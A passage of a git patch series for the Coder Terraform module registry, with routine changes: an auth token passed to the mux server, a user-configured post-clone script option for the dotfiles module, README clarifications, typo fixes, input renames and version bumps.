use_cached = true } } - - diff --git a/registry/coder/modules/mux/run.sh b/registry/coder/modules/mux/run.sh index 2409f19d..0d0c6520 100644 --- a/registry/coder/modules/mux/run.sh +++ b/registry/coder/modules/mux/run.sh @@ -9,7 +9,9 @@ function run_mux() { rm -f "$HOME/.mux/server.lock" local port_value + local auth_token_value port_value="${PORT}" + auth_token_value="${AUTH_TOKEN}" if [ -z "$port_value" ]; then port_value="4000" fi @@ -20,7 +22,7 @@ function run_mux() { fi echo "🚀 Starting mux server on port $port_value..." echo "Check logs at ${LOG_PATH}!" - PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & + MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & } # Check if mux is already installed for offline mode From 563dbc4a7173898141f531e805854fa2607742fc Mon Sep 17 00:00:00 2001 From: Rowan Smith Date: Mon, 16 Feb 2026 09:14:50 +1100 Subject: [PATCH 27/33] feat: add post_clone_script to dotfiles in order to support startup dependencies/coordination (#679) ## Description Adds post_clone_script variable to the dotfiles module, enabling startup coordination with other scripts that depend on dotfiles. An example of how to use this, which assumes the PR has been merged: ``` module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" version = "1.3.0" agent_id = coder_agent.main.id default_dotfiles_uri = "https://github.com/someuser/somedotfiles" post_clone_script = <<-EOF coder exp sync start dotfiles && coder exp sync complete dotfiles EOF } resource "coder_script" "personalize" { count = data.coder_workspace.me.start_count agent_id = coder_agent.main.id display_name = "Personalize" icon = "/icon/personalize.svg" run_on_start = true script = <<-EOF trap 'coder exp sync complete personalize' EXIT coder exp sync want personalize dotfiles coder exp sync start personalize SCRIPT="$HOME/.config/coderv2/dotfiles/personalize" if [ -f "$SCRIPT" ] && [ -x "$SCRIPT" ]; then $SCRIPT fi EOF } ``` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.3.0` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [ ] Tests pass (`bun test`) - [ ] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues #678 --- registry/coder/modules/dotfiles/README.md | 12 ++++++------ registry/coder/modules/dotfiles/main.tf | 17 +++++++++++++---- registry/coder/modules/dotfiles/run.sh | 11 +++++++++++ 3 files changed, 30 insertions(+), 10 deletions(-) diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index 7d994c1e..9cb6a45d 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 760f4181..40b1a4e0 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -84,6 +84,12 @@ variable "manual_update" { default = false } +variable "post_clone_script" { + description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied." + type = string + default = null +} + data "coder_parameter" "dotfiles_uri" { count = var.dotfiles_uri == null ? 1 : 0 type = "string" @@ -102,15 +108,17 @@ data "coder_parameter" "dotfiles_uri" { } locals { - dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value - user = var.user != null ? var.user : "" + dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value + user = var.user != null ? var.user : "" + encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : "" } resource "coder_script" "dotfiles" { agent_id = var.agent_id script = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) display_name = "Dotfiles" icon = "/icon/dotfiles.svg" @@ -127,7 +135,8 @@ resource "coder_app" "dotfiles" { group = var.group command = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) } diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index a068aca7..49ab3ec5 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -43,3 +43,14 @@ if [ -n "$${DOTFILES_URI// }" ]; then sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi + +POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}" + +if [ -n "$POST_CLONE_SCRIPT" ]; then + echo "Running post-clone script..." + POST_CLONE_TMP=$(mktemp) + echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP" + chmod +x "$POST_CLONE_TMP" + $POST_CLONE_TMP + rm "$POST_CLONE_TMP" +fi From ac92895c5026516f52c4a9da466dc1c40502759b Mon Sep 17 00:00:00 2001 From: "blinkagent[bot]" <237617714+blinkagent[bot]@users.noreply.github.com> Date: Tue, 17 Feb 2026 14:05:54 -0600 Subject: [PATCH 28/33] docs(azure-linux): clarify resource lifecycle on stop vs delete (#713) The existing README for the Azure Linux template only mentioned that the VM is ephemeral and the managed disk is persistent, but did not explain that the resource group, virtual network, subnet, and network interface also persist when a workspace is stopped. This led to confusion where users expected all Azure resources to be cleaned up on stop, when in reality only the VM is destroyed. ## Changes - Added the persistent networking/infrastructure resources to the resource list - Added "What happens on stop" section explaining which resources persist and why - Added "What happens on delete" section confirming all resources are cleaned up - Moved the existing note about ephemeral tools/files into a "Workspace restarts" subsection for clarity Created on behalf of @DevelopmentCats Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com> Co-authored-by: DevCats --- registry/coder/templates/azure-linux/README.md | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/registry/coder/templates/azure-linux/README.md b/registry/coder/templates/azure-linux/README.md index 33d771ed..ddae36db 100644 --- a/registry/coder/templates/azure-linux/README.md +++ b/registry/coder/templates/azure-linux/README.md @@ -27,8 +27,21 @@ This template provisions the following resources: - Azure VM (ephemeral, deleted on stop) - Managed disk (persistent, mounted to `/home/coder`) +- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM) -This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. +### What happens on stop + +When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them. + +This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior. + +### What happens on delete + +When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk. + +### Workspace restarts + +Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. > [!NOTE] > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case. From 14c43d9f298cbd0fafe7a31897d0b3128df3c4f5 Mon Sep 17 00:00:00 2001 From: Katorly <70022443+katorly@users.noreply.github.com> Date: Wed, 18 Feb 2026 16:11:20 +0800 Subject: [PATCH 29/33] fix(coder/modules/jetbrains and coder-labs/modules/nextflow): fix typos in two documentations (#714) --- registry/coder-labs/modules/nextflow/README.md | 2 -- registry/coder/modules/jetbrains/README.md | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/registry/coder-labs/modules/nextflow/README.md b/registry/coder-labs/modules/nextflow/README.md index 7e6911dc..adefa645 100644 --- a/registry/coder-labs/modules/nextflow/README.md +++ b/registry/coder-labs/modules/nextflow/README.md @@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics] A module that adds Nextflow to your Coder template. -![Nextflow](../../.images/nextflow.png) - ```tf module "nextflow" { count = data.coder_workspace.me.start_count diff --git a/registry/coder/modules/jetbrains/README.md b/registry/coder/modules/jetbrains/README.md index cf97d127..7fa8f674 100644 --- a/registry/coder/modules/jetbrains/README.md +++ b/registry/coder/modules/jetbrains/README.md @@ -42,7 +42,7 @@ module "jetbrains" { version = "1.3.0" agent_id = coder_agent.main.id folder = "/home/coder/project" - default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA + default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA } ``` From 8defcb241018c1fe8dff8d0de618af8331da209f Mon Sep 17 00:00:00 2001 From: Zach <3724288+zedkipp@users.noreply.github.com> Date: Wed, 18 Feb 2026 09:13:22 -0700 Subject: [PATCH 30/33] fix(agentapi): fix misleading attempt counter in wait-for-start script (#734) The log message showed ($i/15) where $i ranged from 1-150, making it look like the counter overshot its maximum. This change extracts the iteration count into a max_attempts variable and uses it consistently. --- registry/coder/modules/agentapi/README.md | 2 +- .../agentapi/scripts/agentapi-wait-for-start.sh | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/registry/coder/modules/agentapi/README.md b/registry/coder/modules/agentapi/README.md index 06897d6b..e7a9869f 100644 --- a/registry/coder/modules/agentapi/README.md +++ b/registry/coder/modules/agentapi/README.md @@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI ```tf module "agentapi" { source = "registry.coder.com/coder/agentapi/coder" - version = "2.1.0" + version = "2.1.1" agent_id = var.agent_id web_app_slug = local.app_slug diff --git a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh index 6e18332f..6ae5b14a 100644 --- a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh +++ b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh @@ -3,20 +3,22 @@ set -o errexit set -o pipefail port=${1:-3284} +max_attempts=150 -# This script waits for the agentapi server to start on port 3284. +# This script waits for the agentapi server to start on the given port. +# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds. # It considers the server started after 3 consecutive successful responses. agentapi_started=false echo "Waiting for agentapi server to start on port $port..." -for i in $(seq 1 150); do +for i in $(seq 1 "$max_attempts"); do for j in $(seq 1 3); do sleep 0.1 if curl -fs -o /dev/null "http://localhost:$port/status"; then echo "agentapi response received ($j/3)" else - echo "agentapi server not responding ($i/15)" + echo "agentapi server not responding ($i/$max_attempts)" continue 2 fi done @@ -25,7 +27,7 @@ for i in $(seq 1 150); do done if [ "$agentapi_started" != "true" ]; then - echo "Error: agentapi server did not start on port $port after 15 seconds." + echo "Error: agentapi server did not start on port $port after $max_attempts attempts." exit 1 fi From 186a779659e1f5ad7aa967ab1d6caa0a03ff5780 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 01:57:35 +0100 Subject: [PATCH 31/33] chore(registry/coder/modules): rename vscode-desktop-core input params (#750) ## Description Rename `web_app_*` suffix to `coder_app_*` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other --- .../modules/vscode-desktop-core/README.md | 12 +++++------ .../modules/vscode-desktop-core/main.test.ts | 14 ++++++------- .../coder/modules/vscode-desktop-core/main.tf | 20 +++++++++---------- 3 files changed, 23 insertions(+), 23 deletions(-) diff --git a/registry/coder/modules/vscode-desktop-core/README.md b/registry/coder/modules/vscode-desktop-core/README.md index d95e2da2..1b86783a 100644 --- a/registry/coder/modules/vscode-desktop-core/README.md +++ b/registry/coder/modules/vscode-desktop-core/README.md @@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo ```tf module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/code.svg" - web_app_slug = "vscode" - web_app_display_name = "VS Code Desktop" - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/code.svg" + coder_app_slug = "vscode" + coder_app_display_name = "VS Code Desktop" + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/vscode-desktop-core/main.test.ts b/registry/coder/modules/vscode-desktop-core/main.test.ts index 46c51227..87674f32 100644 --- a/registry/coder/modules/vscode-desktop-core/main.test.ts +++ b/registry/coder/modules/vscode-desktop-core/main.test.ts @@ -11,9 +11,9 @@ const appName = "vscode-desktop"; const defaultVariables = { agent_id: "foo", - web_app_icon: "/icon/code.svg", - web_app_slug: "vscode", - web_app_display_name: "VS Code Desktop", + coder_app_icon: "/icon/code.svg", + coder_app_slug: "vscode", + coder_app_display_name: "VS Code Desktop", protocol: "vscode", }; @@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => { ); expect(coder_app?.instances[0].attributes.slug).toBe( - defaultVariables.web_app_slug, + defaultVariables.coder_app_slug, ); expect(coder_app?.instances[0].attributes.display_name).toBe( - defaultVariables.web_app_display_name, + defaultVariables.coder_app_display_name, ); }); it("sets order", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_order: "5", + coder_app_order: "5", ...defaultVariables, }); @@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => { it("sets group", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_group: "web-app-group", + coder_app_group: "web-app-group", ...defaultVariables, }); diff --git a/registry/coder/modules/vscode-desktop-core/main.tf b/registry/coder/modules/vscode-desktop-core/main.tf index 7e675712..9a7da34c 100644 --- a/registry/coder/modules/vscode-desktop-core/main.tf +++ b/registry/coder/modules/vscode-desktop-core/main.tf @@ -31,28 +31,28 @@ variable "protocol" { description = "The URI protocol the IDE." } -variable "web_app_icon" { +variable "coder_app_icon" { type = string description = "The icon of the coder_app." } -variable "web_app_slug" { +variable "coder_app_slug" { type = string description = "The slug of the coder_app." } -variable "web_app_display_name" { +variable "coder_app_display_name" { type = string description = "The display name of the coder_app." } -variable "web_app_order" { +variable "coder_app_order" { type = number description = "The order of the coder_app." default = null } -variable "web_app_group" { +variable "coder_app_group" { type = string description = "The group of the coder_app." default = null @@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" { agent_id = var.agent_id external = true - icon = var.web_app_icon - slug = var.web_app_slug - display_name = var.web_app_display_name + icon = var.coder_app_icon + slug = var.coder_app_slug + display_name = var.coder_app_display_name - order = var.web_app_order - group = var.web_app_group + order = var.coder_app_order + group = var.coder_app_group url = join("", [ var.protocol, From d8851492c099655bd81cf19f274ce758796740b7 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 05:43:49 +0100 Subject: [PATCH 32/33] fix: fix positron module slug and display name (#752) ## Description In https://github.com/coder/registry/pull/279, I had accidentally made the slug of the Positron Desktop app "cursor", and display name to be "Cursor Desktop". This PR fixes that. ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other --- registry/cytoshahar/modules/positron/main.tf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/registry/cytoshahar/modules/positron/main.tf b/registry/cytoshahar/modules/positron/main.tf index 9365b444..070feed8 100644 --- a/registry/cytoshahar/modules/positron/main.tf +++ b/registry/cytoshahar/modules/positron/main.tf @@ -41,13 +41,13 @@ variable "group" { variable "slug" { type = string description = "The slug of the app." - default = "cursor" + default = "positron" } variable "display_name" { type = string description = "The display name of the app." - default = "Cursor Desktop" + default = "Positron Desktop" } data "coder_workspace" "me" {} From 480bf4b48cdefbad93497c1454189f3847b50464 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 06:20:27 +0100 Subject: [PATCH 33/33] chore: update vscode-desktop-core module dependencies (#751) ## Description #750 follow-up ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other --- registry/coder/modules/antigravity/README.md | 6 +++--- registry/coder/modules/antigravity/main.tf | 12 ++++++------ registry/coder/modules/cursor/README.md | 6 +++--- registry/coder/modules/cursor/main.tf | 2 +- registry/coder/modules/kiro/README.md | 6 +++--- registry/coder/modules/kiro/main.tf | 2 +- registry/coder/modules/vscode-desktop/README.md | 4 ++-- registry/coder/modules/vscode-desktop/main.tf | 2 +- registry/coder/modules/windsurf/README.md | 6 +++--- registry/coder/modules/windsurf/main.tf | 2 +- registry/cytoshahar/modules/positron/README.md | 4 ++-- registry/cytoshahar/modules/positron/main.tf | 2 +- 12 files changed, 27 insertions(+), 27 deletions(-) diff --git a/registry/coder/modules/antigravity/README.md b/registry/coder/modules/antigravity/README.md index ed5882b2..734cbef4 100644 --- a/registry/coder/modules/antigravity/README.md +++ b/registry/coder/modules/antigravity/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id } ``` @@ -29,7 +29,7 @@ module "antigravity" { module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/antigravity/main.tf b/registry/coder/modules/antigravity/main.tf index 27c6166d..81ccd1c8 100644 --- a/registry/coder/modules/antigravity/main.tf +++ b/registry/coder/modules/antigravity/main.tf @@ -66,15 +66,15 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/antigravity.svg" - web_app_slug = var.slug - web_app_display_name = var.display_name - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/antigravity.svg" + coder_app_slug = var.slug + coder_app_display_name = var.display_name + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/cursor/README.md b/registry/coder/modules/cursor/README.md index 7a870ac0..628950f5 100644 --- a/registry/coder/modules/cursor/README.md +++ b/registry/coder/modules/cursor/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "cursor" { module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/cursor/main.tf b/registry/coder/modules/cursor/main.tf index 0c0f8aa2..a33a2cc3 100644 --- a/registry/coder/modules/cursor/main.tf +++ b/registry/coder/modules/cursor/main.tf @@ -66,7 +66,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/kiro/README.md b/registry/coder/modules/kiro/README.md index 23c17885..51fbe9ae 100644 --- a/registry/coder/modules/kiro/README.md +++ b/registry/coder/modules/kiro/README.md @@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -31,7 +31,7 @@ module "kiro" { module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/kiro/main.tf b/registry/coder/modules/kiro/main.tf index c48364bc..84b44b34 100644 --- a/registry/coder/modules/kiro/main.tf +++ b/registry/coder/modules/kiro/main.tf @@ -53,7 +53,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/vscode-desktop/README.md b/registry/coder/modules/vscode-desktop/README.md index 56f39bf7..7252361d 100644 --- a/registry/coder/modules/vscode-desktop/README.md +++ b/registry/coder/modules/vscode-desktop/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "vscode" { module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/coder/modules/vscode-desktop/main.tf b/registry/coder/modules/vscode-desktop/main.tf index c9e6dd35..8d98a1a7 100644 --- a/registry/coder/modules/vscode-desktop/main.tf +++ b/registry/coder/modules/vscode-desktop/main.tf @@ -40,7 +40,7 @@ variable "group" { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/windsurf/README.md b/registry/coder/modules/windsurf/README.md index 77c57d40..4463552f 100644 --- a/registry/coder/modules/windsurf/README.md +++ b/registry/coder/modules/windsurf/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "windsurf" { module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/windsurf/main.tf b/registry/coder/modules/windsurf/main.tf index 3ec29d5b..90521fa6 100644 --- a/registry/coder/modules/windsurf/main.tf +++ b/registry/coder/modules/windsurf/main.tf @@ -65,7 +65,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/cytoshahar/modules/positron/README.md b/registry/cytoshahar/modules/positron/README.md index 139b560c..21d4e543 100644 --- a/registry/cytoshahar/modules/positron/README.md +++ b/registry/cytoshahar/modules/positron/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "positron" { module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/cytoshahar/modules/positron/main.tf b/registry/cytoshahar/modules/positron/main.tf index 070feed8..1d391296 100644 --- a/registry/cytoshahar/modules/positron/main.tf +++ b/registry/cytoshahar/modules/positron/main.tf @@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {} module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id